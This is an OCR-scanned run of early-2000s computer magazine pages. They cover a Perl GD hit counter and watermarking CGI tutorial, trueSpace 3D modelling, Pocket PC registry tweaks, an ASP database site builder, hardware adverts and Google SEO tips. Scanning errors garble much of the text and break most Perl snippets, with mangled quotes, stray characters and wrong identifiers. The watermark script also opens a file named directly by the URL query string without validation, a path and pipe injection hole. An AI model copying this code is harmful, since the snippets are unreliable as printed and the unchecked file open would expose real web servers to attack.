The fill method works exactly the same way as the paintbucket tool 
in a graphics program — it "clicks" at the point (1,1 ), and fiils the 
surrounding area with the colour $white. This gives us a plain white 
canvas to work on. But what good is a plain white background? Why 
not add a graphical element over the top? 

$im->rectangle(5,5,95,95,$red); 

$im->rectangle(10,10,90,90,$red); 

This Is exactly the same as drawing a rectangie in a bitmap painting 
application. This exampie will result in two red squares, one within 
the other. The next step is to actually output the drawing to a file. 
The following code will convert our creation to a PNG image file: 

open PICTURE, ''>first.png'; 
binmode PICTURE; 
print PICTURE $im->png; 
close PICTURE; 

Save the script, and close the editor. You can run the script using the 
command ‘perl gdfirst.pl’. If all goes well, you'll see nothing. Before 
you get disappointed, a new file will have appeared in the folder 
from which you ran the script. Open up first.png in an imaging 
application and you'll be able to see the fruits of your labour. Note, 
if you're using an old version of GD.pm, {prior to version 1.19), you 
will need to use $im->gi1, as GIF was the export format in earlier 
implementations of GD.pm. 

This a good example of the power and flexibility of Perl. Within 
a couple of minutes you're able to make colours, draw rectangles, 
fill them using the fill command, and finally save the image as a PNG 
image file. This doesn't exactly keep count of your Web site hits, 
though. To do this, it's necessary to delve more deeply into GD's bag 
of tricks. This code is also available on the CD. 

#!/usr/bin/Perl -w 
use GD; 

Deja vu? This is the usual code for starting a Perl document and for 
miualismg all the libraries you're going to be using. 

open PICTURE, Template.png"; 
binmode PICTURE; 

$im = newFromPng GD::lmage(PICTURE); 
close PICTURE; 

The first line here is the standard Perl notation for opening a file. 

The code is telling Perl to open template.png, and give it the handle 
PICTURE. The second line tells Perl that template.png is a picture, so 


it's reading from a binary file. This ensures that Perl won't perform 
any newline translation on the file (similar to ASCII and binary 
transfer modes in FTP programs). The third loads up the handle 
PICTURE, uncompresses the PNG data, and returns it as $im for us to 
use as per usual. The fourth line simply closes the file. 

open HITS, 'hits.txf; 

$hc = <HITS>; 
close HITS; 

The first line, as you may have guessed, opens a file called hits.txt and 
allocates it the handle: HITS. <HITS> reads the next line from file, and 
stores it in a variable called $hc. The final line closes the file. 

$hc = $hc + 1; 
open HITS, ■>hits.txr; 
print HITS $hc; 
close HITS; 

The first line increments the number of hits, which will be added 
to each time there's a visitor to the site. There is a shorthand way of 
incrementing a counter, using $hc++;, but in our opinion, this is much 
easier to see and it helps debugging further down the track. The next 
line opens the hits.txt file for writing. The third line writes the new hit 
count to the file, and the final one closes it. 

$red = $im->colorResolve(255,0,0); 

This is a handy little trick that can be used to replace COlorAllocate. It 
first checks to make sure that the colour 255,0,0 doesn't already exist 
in the colour table. If it does exist, it sets $red to that colour, but if it 
doesn't, it calls colorAllocate for us. Since we're working with an image 
that already has some colours allocated, it makes sense to see if we 
can re-use an existing colour rather than make a new one. 

$font = gdLargeFont; 

$im->string($font,30,30.$hc,$red); 

The "string" method is exactly the same as the text tool in a graphics 
program. Basically this fragment is telling Perl to "click" at (30,30), 
choose the gdLargeFont (which is similar to 12-point courier), select 
the colour $red, and type the string stored in $hc. In this context, $hc 
is the number of hits that page has received. Now we just need to get 
this picture to the viewers of our site somehow. 

print ‘Content-Type: image/png\n\n‘; 
binmode STDOUT; 
print $im->png; 

Printing Content-Type: image/png followed by two new lines is a 
standard FITTP header that tells the browser (that will be used to 
view this script) to expect a PNG image. Bin mode Just esures that no 
translation happens, and then the picture is printed in PNG format. 

If you run the script now, you'll see Content-Type: image/png, a 
blank line, then a whole bunch of binary characters. If you want to 
run this script on a Web site, the trick to this is to put it in your 









/CGI-BIN folder. You'll then have to make it executable by typing 
chmod 755 gfxcounter.pl at the terminal prompt. The final step is to 
add the following line of code somewhere into the HTML code of the 
page you want to count: 

<IMG src=7cgi-bin/gfxcounter.pl'' ait^Hit Counter" Border=0> 

Now whenever someone visits your page, the browser wiii request 
the image /cgi-bin/gfxcounter.pl. Peri will grab the template, 
increment the counter and write the counter's value Into the picture. 
From here It will be encoded as a PNG file, and then get sent back to 
the browser. The browser will display it just like an ordinary image. 

As an extra step, you may want to create a shadow effect for the 
text using the following code: 

$red = $im->colorResolve(255,0,0); 

$grey = $im->colorResolve(64,64,64); 

$font = gdLargeFont; 

im->string($font,32,32,$hc,$grey); 

im->string($font,30,30,$hc,$red); 

This will allocate two colours — red and grey. It will draw a grey 
version of the text a few pixels below and to the right of where the 
text should be, and then it draws the red text in the normal position. 
The result is the red text casting a grey shadow. The final code for 
both the counter and the shadowed version are available in the 
Workshop section of this month's cover CD as gfxcounter.cgi and 
shadowcounter.cgi. 

There's a lot more you can do with GD.pm than build graphical 
counters. There's a method called "line", and another called "arc". 
Using these, you can build graphs, pie charts, and virtually any other 
type of basic drawing. Many seasoned Perl coders view GD.pm as 
one of the best image editing systems around. Many sites are built 
almost entirely out of Perl and the GD toolkit. All the navigation 
buttons, rollovers, and text (with shadows) are generated in Perl, but 
the biggest advantage is that it's really easy to format the text. 

WATERMARKING 

Another app requiring the GD toolkit is adding watermark logos 
to images on-the-fly. Imagine that you're a photographer with 
thousands of photos on a Web site. You want to add a watermark 
to your image, but if someone wants to buy the image, you want to 
make sure you can provide a logo-free version. Even if you're an avid 
Photoshop user, you really don't want to deal with 10,000 images. 
Thankfully, Perl and GD can add the logo on-the-fly for you. 

#! /usr/bin/Perl -w 
use GD; 

open LOGO, "logo.png"; 
binmode LOGO; 

$logo = newFromPng GD;:lmage{L0G0); 
close LOGO; 

open PICTURE, "SENVjQUERY.STRINGl"; 
binmode PICTURE; 

Sim = newFromJpeg GD::lmage{PICTURE); 


close PICTURE; 

The first and second blocks are nothing new, however, one thing 
that may need explaining in the third block is $ENV{QUERY_STRING1. 
When run as a CGI script, $ENVIQUERY_STRINGI becomes whatever 
comes after the question mark in the URL that requested the page. If 
the file doesn't exist, Perl will raise an error, the script will stop, and 
the browser will instead display a small, red X. 

Now, the new bit that makes this all worthwhile: 

($mw,$mh)=$im->getbounds(); 

($lw,$lh)=$logo->getbounds{); 

$im->copy($logo,$mw-$lw,$mh-$lh 
,0,0 ,$lw,$lh); 

The getboundsO method returns an array of the width and the height 
of the image, with the values stored in $mw and $mh for the main 
image, and $lw and $lh for the image holding the logo. The final 
command, copy, works like the selection tool and the copy/paste 
commands in a graphics program. We select from (0,0) to ($lw,$lh) 
of the image stored in the variable $logo (i.e., the whole image), 
and paste this at ($mw-$lw,$mh-$lh) over our main image (which 
corresponds to the bottom-right corner). Now send this image back 
for display in a Web browser: 

print "Content-Type: image/jpeg\n\n"; 
binmode STDOUT; 
print $im->jpeg(); 

Back inside the HTML file, you can then call the display of this 
modified image in the usual way: 

<II\/IG src="/cgi-bin/addlogo.cgi?heaven.jpg" alt="[Heaven.ipg]" Border=0> 

If you add the above HTML code to a page on your site, and add 
a logo.png image to the directory, you should be able to open the 
HTML page and see your logo in the bottom-right corner of the 
screen. Remember to make sure your JPEG is bigger than your logo, 
otherwise the image will end up distorted. 

What if your logo isn't rectangular? How do you get rid of white 
regions around your logo that may cover important parts of the 
image? Don't worry — the GD toolkit supports transparency. You 
can use the following code to make a colour transparent: 

$t=$logo->colorResolve(255.255,255); 

$logo->transparent($t); 

The first line finds the index of the colour white in the picture, and 
the second makes it transparent, hence making all the white in the 
image transparent. When the logo is copied across onto the main 
image, the "transparent" pixels don't overwrite the image, and less of 
the picture is lost with the added watermark. 

You can use this technique to replace other colours than white as 
a transparent colour. For instance, if part of your logo is white, and 
you don't want this to become transparent, you can make purple 
transparent. And GD.pm comes with a large manual documenting all 
its features. An HTML version of this is on our cover CD set. bJtiti 









Enter the 

third 


A full working version of ^ 
the 3D modelling application 
Caligari trueSpace3.2, as well as 
a trial version of trueSpace 6.5. 


dimension 


David Williams demonstrates how to build stunning 
3D scenes using Caligari trueSpace3.2. 

3D modelling isn't just for designers and engineers. Take Caiigari 
trueSpace3.2 — this third-generation three-dimensionai application 
is a professional, high-quality tool for constructing and even 
animating scenes which can be partnered with iight sources, 
reflections and refractions to create astounding visual effects. Like 
aii 3D toois, trueSpace3.2 has a steep initiai learning curve, but we'ii 
show you how to get going fast. 

THE ABC OFXYZ 

All 3D applications represent the world using three pianes. The 
horizontal and vertical dimensions are known as x and y respectively 
(this will be familiar from high school mathematics). 

Additionally, a z axis is necessary to represent depth. Together, 
thex,y and z values can uniquely represent any individual point 
in a 3D scene. This is why z-order is typically an important part of 
3D-capable video cards. The x and y coordinates of any object will 
represent whether it's further left or right, or higher or lower, than 
another object. However, the z coordinate identifies how close or far 
away the object is from any other. 3D cards can speed processing 
by using the z-ordet to determine which objects are occluded by 
another, and hence need not be drawn. 

WORKING WITH TRUESPACE3.2'S ICONS 

When trueSpace3.2 first starts, its toolbar icons and menu bar are 
displayed along the bottom of the screen (although you might 
want to shift these to the top using the File, Preferences menu). The 
new scene that's automatically created at startup consists of a flat 
grid representing the x and z planes (think of the grid as the ground 
or floor). Several light sources have been placed, represented by 
objects not too dissimilar from kush balls. 

Move the mouse carefully over the toolbar icons, and a short 
description appears in trueSpace's status bar. If you hover the mouse 
over the icon that looks like a solid box (third from the left in the first 
row), trueSpace explains that this button is used to add a cube. Use 
these cues to become more familiar with the program's workspace. 

Because there are too many buttons to display, trueSpace3.2. 
"stacks" similar icons. Click that cube icon and hold the mouse down 


Upgrading to 6.5 




If you like trueSpace3.2 then you'll love trueSpace6.5, with 
time-saving features like a new mirror tool that cuts modelling 
time in half, plus a wide range of import and export formats. 
We've got a special upgrade deal for ARC readers — you can have 
the full boxed version of trueSpace6.5 for just US$399, instead of 
the usual US$59S. See our cover CD set for full details. 



Word up: making 3D text is a snap with trueSpace3.2. 


to see more icons displayed — allowing not only cubes, but flat 
planes, cylinders, spheres, cones and toruses (donuts) to be added. 

Additionally, right-click an icon to alter its behaviour. For 
example, the cube icon calls up a small window where the resolution 
of these geometric shapes can be changed. 

Other icons work in a different manner. Find the metaball 
icon along the top row of icons. Click it, and a window appears 
with metaball options (more icons!). Spheres, cylinders, rounded 
cylinders, cubes and rounded cubes can be created. 

Use the first column of icons to move, rotate or resize (scale) 
individual metaballs. Use the last column of icons to determine 
whether the metaball has a positive influence (appears as a solid 
object) or a negative influence (its shape cuts into the scene). 
Right-click the metaball icon for its options. Metaballs act like single 
objects, and thus form the basis for making your own solid shapes. 

Icons to the right of the menu bar (Eye Move, Eye Rotate and 
Zoom) allow the scene's perspective to be altered by dragging the 
mouse. Click the deform icon to further edit any solid object. This 
allows for dents, holes, twists, tilts, raised surfaces and more. 

DEFORM THE WORLD — THEN PAINT IT RED 

To create an apple, drop a solid sphere onto the scene and deform 
it by placing a dent in the top. Add a core by using a cylinder, then 
deform it to be slightly angled and tapered at the top. 

Immediately right of zoom is an icon which controls how 
trueSpace renders the scene. The default is wireframe — the fastest 
to draw. Click and hold on this icon, and other options are displayed, 
including several different solid 3D renderings. 

Click the paint face icon (third from the right on the top toolbar) 
and several windows of options are displayed. These allow the 
display of any single surface to be carefully controlled. Set the face's 
colour, shininess, transparency, material and other controls. These all 
combine to render a surface with great precision and give stunning 
results. Additionally, set the index of refraction to effect how the 
surface should react if it's in the path of a light source. EUna 
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Cool hacks 

for your handheld 


Discover hidden tweaks and tricks as 
Jenneth Orantia reveals the art of registry 
hacking on the Pocket PC operating system. 

There are plenty of great ways to customise your Pocket PC, but some 
of the best are locked away from the average user and can only be 
activated via the registry database. Most users of the Windows OS are 
familiar with the Windows registry: a central repository of information 
about your computer's hardware, software, environment and user 
interface. So it's no surprise that the Pocket PC operating system also 
makes use of a registry to store similar data for your handheld. 



REGISTRY HACKING FOR BEGINNERS 

The Pocket PC registry works the same way as its desktop 
counterpart. The registry contains a numberof "keys", which 
are similar to folders in the way that they organise the registry's 
information. As with folders, keys can be nested within other keys. 
Each key contains at least one value, and it's these values which 
describe the hardware and software. The path to a particular key is 
written like a file path. For example, the path HKEY_CURRENT_USER\ 
Software\Microsoft\Flle Explorer describes the location for settings 
related to the File Explorer, which is stored in a Microsoft key that sits 
under the Software key, below the HKEY_CURRENT_USER root. 

Registry hacking involves changing the value of settings, or 
in some cases, creating new settings. And it's not without risk. 

Inserting the wrong value or 
modifying the wrong key 
can cause your handheld 
to become unstable or 
even crash, so backing up 
yniir Pocket PC is highly 
recommended as a prelude 
to any registry editing 
session. This can be done 
thrniigh built-in backup 
utilities on the Pocket 
PC, via ActiveSync on the 
riocWtop, or through third 
party backup programs like 
Pocket Backup Plus (www. 
spritesoftware.com). 

Most hacks only take 
effect after a soft reset, 
which involves pushing the 
handheld's soft reset button 
with rho stylus. 

While the Windows 
Underthecovers:thePocketPCs desktop OS comes with a 

registry database. registry editor (RegEdit), no 


such tool ships with the Pocket PC OS. We recommend PHM Registry 
Editor (www.phm.lu), an award-winning freeware application that 
includes the ability to back up the registry. 

If you're hesitant about modifying the registry database, there 
are a numberof utilities that automate the registry hacking 
process. This reduces the likelihood of anything going wrong, 
although you're limited to those hacks made available through 
the application. 

RegKing and RegKing 2002 (www.cewindows.net) are 
freeware utilities (for the Pocket PC and Pocket PC 2002, 
respectively) that apply a selection of useful registry hacks with 
the tap of an icon.Tweaks2K2 (www.pc-counselor.8m.com) is 
a commercial utility that does much the same as RegKing but 
has a wider selection of hacks and is regularly updated. Now, 
let's get hacking. 

CUSTOMISE THE LOW BATTERY NOTIFICATION 

When the main battery of a Pocket PC 2002 device reaches a 40% 
charge, an annoying bubble pops up to warn of the low battery. It 
reappears every time you turn the device on until you recharge the 
battery and, unlike most other notifications, it can't be configured 
in the settings. 

To get this notification to appear in the Notification Settings box 
so you can customise it like other system events, browse to HKEY_ 
CURRENT_USER\ControlPanel\Notifications\{A877D663-239C-47a7- 
9304-OD347F580408. Tap on Edit and select New String Value. Set 
the Value name to Default and Value data to Low battery warning. 

Now a Low Battery option will appear in the drop-down Event list 
in Sounds and Notifications. While this doesn't let you change the 
percentage level at which the notification bubble appears, you can 
disable it (or change the sound that it plays). 

ENABLE CLEARTYPE 

Microsoft's ClearType font-rendering technology, used in the 
Microsoft Reader ebook program, smooths the edges of screen fonts 
to produce easier-to-read text. Most Pocket PC 2002 devices come 
with a ClearType utility that allows you to turn it on or off. Flowever, 
Pocket PC 2000 devices that have been upgraded to 2002 OS don't 
get this utility out of the box. Here's how to enable it. 

Browse to HKEY_CURRENT_USER\Software\Microsoft\Shell\. 

Tap on Edit and select new DWORD value. Set the value name to 
ClearType and Value data to 1. 

You can also enable ClearType in applications that use the 
Pocket PC's HTML viewing engine, such as Pocket Internet 
Explorer and AvantGo. Browse to HKEY_CURRENT_USER\ 
Software\Microsoft\Windows\CurrentVersion\lnternet Settings. 

Tap on Edit and select New DWORD Value. Set the Value name 
to ClearTypeText and Value data to one. If you want to disable 
ClearType for either of the above two tweaks, change the Value 
data back to 0. 
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require encryption just check the browser version rather than 
verifying that the browser supports high encryption. 

To make a Web site see Pocket IE as IE version 5.5, browse 
toHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Winclows\ 
CurrentVersionMnternet SettingsNUser Agent. Open the 
Default value and change the value data to Mozllla/4.0. 

Open the Version value and change the value data to MSIE 
5.5. Open the Platform value and change the value data to 
Windows NT 5.0. 

Depending on the Web site, you may also have to delete 
the 240 X 320 value In HKEY_LOCAL_MACHINE\SOFTWARE\ 
Mi<-rnsoft\Windows\CurrentVerslon\lnternet SettIngsMJser 
AgentXPost Platform. Flotmail, for example, checks this setting 
bofnro delivering the relevant page. However, the Post 
Plptfnrm value is reinserted into the registry on every soft 


STORE AVANTGO CHANNELS ON A MEMORY CARD 

The AvantGo news clipping service is great for saving Web-based 
"channels" for offline viewing. But the default setting stores AvantGo 
channels in the main memory, which can quickly chew up your 
available RAM. But you can automatically store AvantGo channels on 
a flash memory card with every sync session. 

Open File Explorer and move the AvantGo folder (and its 
subfolders) from the Windows folder to the Storage Card folder. 
Browse to HKEY_CURRENT_USER\Software\AvantGo. Change the 
DatabaseLocation value data to Storage CardNAvantGo. Open 
ActiveSync on the PC and go to Tools, Options. Click on AvantGo and 
select Settings. Select Properties and check the Refresh all content at 
the next sync box, underneath Connection options. 

CHANGE FILE ASSOCIATIONS 

Pocket PCs are associated with particular applications depending 
on their file extension. Tapping a JPG file, for example, will launch 
whatever image viewer has been assigned to the JPG file extension. 
If you want another program to open those images, you'll need to 
associate the JPG file extension with a different program. 

To change a file association, you'll need to determine the name 
of the file type in the Registry. For example, for a JPG file, you 
would open HKEY_CLASSES_ROOT\Jpg and you'll see the default 
value is "jpgfile". 

Browse to HKEY_CLASSES_ROOT\jpgfile\Shell\Open\Command, 
and the default value in the command key displays the application 
that launches whenever a jpgfile type file is opened. To change the 
default application that opens that particular file type, change the 
value to something similar to this: 

Value data: "(Storage Card\Miscellaneous\imageeditor.exe' '%V 

POCKET INTERNET EXPLORER AS INTERNET EXPLORER 5.5 

Numerous Web sites check browser versions to deliver content 
formatted specifically for that browser. Additionally, some sites that 


STORE TEMPORARY WEB FILES ON A MEMORY CARD 

All temporary Internet files are stored in the Windows folder 
on main memory, which can take up a lot of storage space. Here's 
how to have those temp files written to a storage card instead (this 
modification shouldn't be used if you remove your storage card to 
connect to the Internet via a modem or networking card). 

Open File Explorer and move the Temporary Internet Files 
folder (and its subfolders) from the Windows folder to the Storage 
Card folder. Browse to HKEY_LOCAL_MACHINE\Software\Microsoft\ 
Windows\CurrentVersion\lnternet Settings\Cache\Content. Change 
the CachePath value to Storage CardNTemporary Internet Files. 

Browse to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ 
CurrentVersionMnternet Settings\Cache\Paths. Change the Directory 
value to Storage Card\Temporary Internet Files. Browse to the 
Pathi, Path2, Paths and Path4 subkeys and replace (Windows 
with (Storage Card in the CachePath value data without editing 
the rest of the string. ElJ,iXil 

I Pocket PC policies 

I Despite the fact that Pocket PCs are heavily marketed towards enterprise 
I users, there's no out-of-the-box ability to set policy restrictions on a Pocket 
] PC and prevent users from installing their own software. There's a hidden 
I Policy applet that blocks software installs unless the user applies an admin 
I password, but for some reason it's disabled. Here's how to bring it back and 
] take control of your company's handheld rollout. 

Browse to HKEY_LOCAL_MACHINE\ControlPanel\AdminPassword 

Tap and hold the Redirect value and select Rename. Rename the value 
toxRedirect. 

This tweak causes anew Policy applet to appear in the System Settings, 
where you can set the admin password and specify the policy restrictions 
that will be applicable for the device. 
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Data-driven 
Web sites made 


David Williams demonstrates how to quickly build a 
database-driven Web site using AWDIB. 

A useful Web site must tie in with a database — whether to allow 
visitors to log-in, or to drive a catalogue of items or documents. Yet 
maintaining this database can be a time-consuming task. ASP Web 
Database Interface Builder 4.11 (AWDIB) quickly constructs complete 
Active Server Page files, without any programming, to create 
professional Web pages allowing any database to be edited online. 

START WITH A DATABASE 

Construct a database using any engine of choice, such as Access, 

SQL Server or Oracle. AWDIB places no constraints on the database 
structure. However, keep in mind that the ultimate goal of AWDIB is 
to provide a data-driven Web site. Hence the generated ASP pages 
will need to be published on a Web server. Be sure to check that the 
server hosting the Web site supports the database chosen — it will 
need to have the necessary drivers installed. This may not be possible 
if the server is maintained by a third-party organisation. Don't forget 
to make all the required tables and fields, and add any desired data. 
Nothing else beyond this needs doing — any custom user-interfaces 
(like Access forms) won't be transplantable to the Web site. 

MAKING A CONNECTION 

AWDIB must be able to locate, and connect to, this database. This isn't 
as simple as browsing to a file on disk, because databases store data 
in different ways. Make a data source using the ODBC control panel 
(found in Administrative Tools in Windows 2000 and XP). Click the 
System DSN tab and click Add to make a new DSN (data source name). 

Specify an appropriate database driver (such as Microsoft Access) 
and then any other information needed. Depending on the database 
used, this may include the server name, a username and password, 
the database name, the database file path on disk and other details. 
Be sure to click Test Connection to make sure all is okay. 

WEB SITE IN 1,2,3 

AWDIB's simple screen layout hides its power and complexity. Use 
the drop-down list to select the DSN. AWDIB opens the database 
and displays the tables Inside while ASP code will be generated to 
manage each table. Clear the checkbox next to any table name if that 
table is irrelevant to the Web application being produced. 

Click a table and AWDIB displays all the fields within that table, 
in the middle of the screen. Again, clear the checkbox next to any 
field name If that field is not relevant to the Web application being 
produced. Click a field and AWDIB displays the properties of that 
field, from the manner in which data should be entered to this field 
to the status bar text to be displayed when this field has focus. 
Checkboxes above the field list control whether AWDIB should 
produce code to add, alter and delete rows in the table. 



Code control: AWDIB offers fine control over how much code to produce. 


FINISHING UP 

AWDIB's task is almost done. Click the second tab page to alter the 
style sheet to be used for the Web application. This controls the site's 
appearance and behaviours. Specify login details for the generated 
site. These are the credentials that will need to be used to alter 
the site online. Click the third tab to make AWDIB actually build all 
the ASP files needed. The site is now complete and just has to be 
uploaded to an ASP-frIendly Web server. 

DATABASE CONNECTIONS REVISITED 

A DSN is useful for testing on a local PC, but a connection string is 
better for when the site is uploaded to a Web server (otherwise, the 
DSN has to exist on the server too). Once AWDIB has built a Web site, 
manually edit the file lncludes\dbConnect.asp and follow instructions 
presented thereto use a connection string instead of a DSN. This 
requires the same details — database driver, database location, 
username/password and so forth — but it's embedded within the 
ASP code rather than an external, pre-existing DSN file, m 111 m 


1 What’s new in 5.01? X * 

The three most important new 

r features in version AWDiB 5.01 are 

greater security: more than or 

le login can manage the database. 

and anonymous users can seal 

rch the database; a database 

connection wizard creates con 

inection strings automaticaily; and 

master/detail reiationships ca 

n be established for better table 

management. Check our covei 

’ CDs for a trial version. 
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Thin Client Terminals 

A really nice, VERY 
small footprint comput¬ 
er utilizing the Eden 
533 Mhz CPU and an 
ITX form factor moth¬ 
erboard. Requires 
hard drive, Memory 
and CD/DVD. A very compact 
desktop solution 
Cat 1149-1 $649 
Cat 1150-1 This tiny and 
attractive embedded computer 
system wili operate from a 12-voit 
suppiy making it ideal for mobile 
or remote location use $749 
Cat 1133-1 This very fast serial ter¬ 
minal has two high-speed 460K- 
baud serial ports. The provision 
of a Centronics port allows the 
connection of a standard parallel printer $549 
Cat 1134-1 A colour, Ethernet 
TCP/IP terminal designed for ^ 

use in UNIX networking envi- ■■■s*"***"**®^ 
ronments $579 

Cat 1144-1 A thin client terminal suitable for Linux 
using the LTSP (Linux Terminal Server Project) 
seewww.ltsp.org $829 
Cat 1215-1 This is a Windows Based Terminal, 
integrated in an LCD monitor. It operates under 
Windows CE, and is suitable for both NT server and 
Unix host $2599 

B eat 1214-1 This is a Windows Based 
Terminal, operating under Windows CE, 
that is suitable for both NT/2000 server 
and Unix host. It supports both the Citrix 
ICA protocol as well as Microsoft’s RDP 

Cat 1233-1 Remote management software for 
Windows Terminals $369 



Too many remote controls? 

This touch screen learning remote 
control provides a powerful 
solution; you even have macro 
(multiple command) for a single 
keystroke Cat 1008089-1 $299 


Serial ATA 

Plugs directly into a standard IDE hard drive to 
provide a serial ATA interface 
Cat 2891-1 Horizontal $79 
Cat 2892-1 Vertical $79 
Cat 2893-1 This converter provides two serial 
ATA connectors from an IDE motherboard 
connector $89 
Cat 1008113-1 Serial ATA 
cable 45cm $24.90 
Cat 1008114-1 Serial ATA 
cable 60cm $33 
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A low cost 16 Bit SCSI-II FAST controller with a 
data transfer rate of 10 MB/s. 

Cat 2585-1 Normally $102 NOW ONLY $51 
A versatile interface card that supports 2 FDD, 2 
HDD As well as 2 x 16550 compatible serial ports, 

1 ECP/EPP printer port and 1 games port. 

Cat 2055-1 Normally $59 NOW ONLY $29 
Internal USB hubs with one up-stream port 
and four down-stream ports. 

2831- 1 Front Access Was $49 NOW ONLY $25 

2832- 1 Rear Access Was $39 NOW ONLY $20 



iTraining-OnLine 

If you need a value-for-money 
I training solution then check out 
this well established company. 
T.O.L. offers a comprehensive 
range of quality courses at prices that students will 
appreciate. On line now at. WWW.tOl.COm.au 


3 ISA Slots on a P4 
Motherboard! 

Don't throw away your ISA 
equipment-upgrade to this 
fully featured P4 industrial 
ATX board Cat 17078-1 $999 



Laser Barcode Scanners 

Performance handheld Laser ^ 

Scanners at CCD prices! , 'cat esee 

Cat 8866-1 This robust, )||^ 

wide-mouthed scanner otters laser performance for 
only $329 

Cat 1008039-1 Style and performance! A really 
good-looking Keyboard Wedge Laser scanner with 
multiple interfaces. Just change the cable and you 
also have USB or Serial interfaces $399 
Cat 1008085-1 This Omni-Directional scanner is 
similar in function to the supermarket catiooaoss 
type. Small footprint makes it ideal ^ 
where counter space is at a premium. IK A 
Standard interface is K/B wedge, but a ▼ ■ 
simple change of cable gives you USB ^ 
or Serial connectivity $1059 


Wireless LAN 

Cat 11345-1 A wireless LAN 
station adapter, which connects ^ 
to a computer via a USB port.^ 

This matchbox-sized unit 
with a flip-up antenna is the ' 
perfect way to connect your notebook or desktop 
machine to a wireless network $259 

New Security Products 

Fancy using security/resort style proximity keys 
in your home or office? We now have all the com¬ 
ponents you need, all with RS232 connectivity. 
Think of the possibilities - integrate alarms with 
door locks, open garage doors with reliable 
proximity sensors. 

Cat 1008082-1 

Electric Door |ik— wer —■—- •m 

Lock $189 ^ ^ W 

Cat 1008081-1 Integrated Controller & proximity 
reader $349 

Cat 1008083-1 Proximity Card 
0.8mm thick $4.50 

Cat 1008058-1 Proximity Card 
1.8mm thick $3.25 

Cat 1008059-1 Proximity Key Tag $6.50 
Cat 1008057-1 Proximity Reader 
(200mm range) $269 
Cat 1008080-1 Proximity 
Reader (80mm range) $209 
Cat 1008079-1 Door 
Controller, stand alone $269 I 

Extension and Replacement Cables 

VGA, SCSI, PS/2, USB, FireWire and more. l 
also stock a huge range of adapters, boosters, 
y-splitters, etc. Check out our website or ring 



for 


Foreign Language Keyboards - $69ea 

Cat 8989-1 Chinese/US 
Cat 8991-1 UK English Cat 8992-1 Italian 
Cat 8994-1 French Cat 8995-1 Greek 

Cat 8996-1 Czech Cat 8993-1 German 



See all these products & more on our website-www.mgram.com.au 

























Secrets to being 

a Google king 


Using Ash Nallawalla's 10-point checklist. 
Webmasters can boost their site's prominence 
on Google's results page. 

Google is the search engine of the Net. But having your Web site 
found by the uber search engine isn't enough. You need to cut 
through the clutter. Here's how to help your site ciimb up Googie's 
search engine results page — also known as a SERF — without 
paying for a iisting, or resorting to "dirty" coding tricks. 

Casuai Googlers use the search engine's default settings, so 
your site must make it at ieast into the first two pages {the top 20 
results). Unfortunately, you can't assume that visitors will use the 
most appropriate search terms. SERF positioning is dynamic — what 
you see depends on a variety of factors, such as the viewer's iocation, 
the type of search used (basic, advanced, or regionai for instance), 
the content of the page, their keyword density, the page rank (FR), 
the search term (words or phrase), and so on. As a result, you need to 
polish many facets of your site. 

Here are 10 techniques that get resuits fast. 

O DOMAIN NAME AND SERVER 

Grab one of the .au domains if your audience is likely to look for local 
sites. And go for a name that's relevant: dentistcoogee.com.au will 
rank higher in the SERFs than dentist.com.au or bloggsclinic.com. 

Ensure that the Web host gives you a unique IF address. Virtually 
hosted sites usually share a common IF address — if one of them is 
banned by Google, so could all sites that map to that address. If you 
already have a site, determine the IF address by using ping, and then 
enter the displayed IF address in your browser. If you don't see your 
own Web page, you're sharing an IF address. 

©PAGE TITLE 

The text in your site's <TITLE> tag should be brief and readable. 

Avoid superfluous words and punctuation marks, and start with the 
most valuable keywords, such as "Bulk billing Toorak clinic 5 Stars", 
not "**»** Dr Fred Bloggs, MBBS, FRACS — 5 Stars Clinic ****»". 

Keep watching your Web server logs and learn from them 

— modify your content if you find that users consistently use a 
different sequence of search words. For example, if your users look 
for "Dentist Darwin" and your page's title tag says "Darwin Dentist" 
and it ranks low In the SERF, you could be losing customers who 
won't click past Google's first page. You can even have it both ways 

— change your opening page to "Dentist Darwin" and leave another 
page as "Darwin Dentist". 

©STYLESHEET 

Flace style definitions in a CSS file — this moves the body text close 
to the top of the document and shrinks the page size. Fast-loading 
pages are good for both humans and crawlers. 


Page Rank and SERPs x 

Google's Page Rank (PR) is an arbitrary "link popularity" scale that 
affects your position in the SERPs, but it's not in itself a guarantee 
of that position. A simplified view can be seen by installing the 
Google Toolbar and visiting a site. A more detailed explanation is 
at www.searchnerd.com/pagerank. PRO means you have been 
penalised; PR6 and above is worthy of pride. Linking to sites that use 
shady SEO practices will lower your PR. A grey PR bar means that the 
page is not indexed or has been removed from Google. 

Think of each page on your site as having one vote that gets shared 
by all linked pages. A high PR page carries more weight in its votes, not 
just relative to other sites but to pages below it. Link thoughtfully. 



O META TAGS 

While other search engines use the KEYWORDS meta tag for ranking, 
Google ignores it. An extract from the DESCRIPTION meta tag 
sometimes appears in the Google SERF; sometimes you'll even see 
a snippet from the body text. Moderation and relevance should be 
your benchmark for placing keywords in these tags. 


©BODY CONTENT 

Quality content is rewarded by top placement in the SERPs. Brett 
Tabke ofWebmasterworld.com recommends building "theme 
pyramids", where the directory structure follows a particular theme 
within your site. For example, if you sell new cars, used cars, and 
car service, you would have three branches, each containing pages 
relevant to that theme. 

Place key phrases towards the top of pages and in heading tags 
such as <H1 >, but don't get hung up on a single keyword for the 
whole site. Pick different keywords for different pages so that you 
have more ways to be found. 

Links to popular causes, memorial ribbons, HTML validation, 
page counters and the like could lower your ranking and distract 
visitors to other sites. Likewise, consider placing non-commercial 















pages, such as personal hobbies, genealogy and so on, at a 
secondary level, but not linked from the top. 

©LINKS AND FOLDERS 

Link a site map from the home page so that crawlers can find the rest 
of your pages. Link each page to the home page and to others in its 
logical group. The anchor text must use key phrases and words. Use 
keywords for directories. Image names and Alt text. 

O NEIGHBOURHOOD WATCH 

Get quality incoming links. Without referrals, it's nearly impossible 
to be visited by Googlebot. Grab such links from sites with a page 
ranking level of three (PR3) or better, not from link farms that are 
clearly built to fool search engines. Avoid links from sites with PRO. 
Make it easy for other sites to use keyword-loaded phrases In their 
links, such as by offering a cut-and-paste slice of HTML anchor code. 
Links from lower-ranking peers won't penalise you, but they won't 
raise your PR either. 

Add a judicious number of outbound links to topical peers of 
the same or better calibre. Google likes links to authoritative sites, 
but don't overdo the external links. Although such sites might not 
overtly link to your site, their site statistics file might get crawled and 
constitute a link back to you. 

© CLOAKING 

"Cloaking" is generally a bad practice which hides content from 
humans and SEs.Two good reasons for using it include hiding parts 
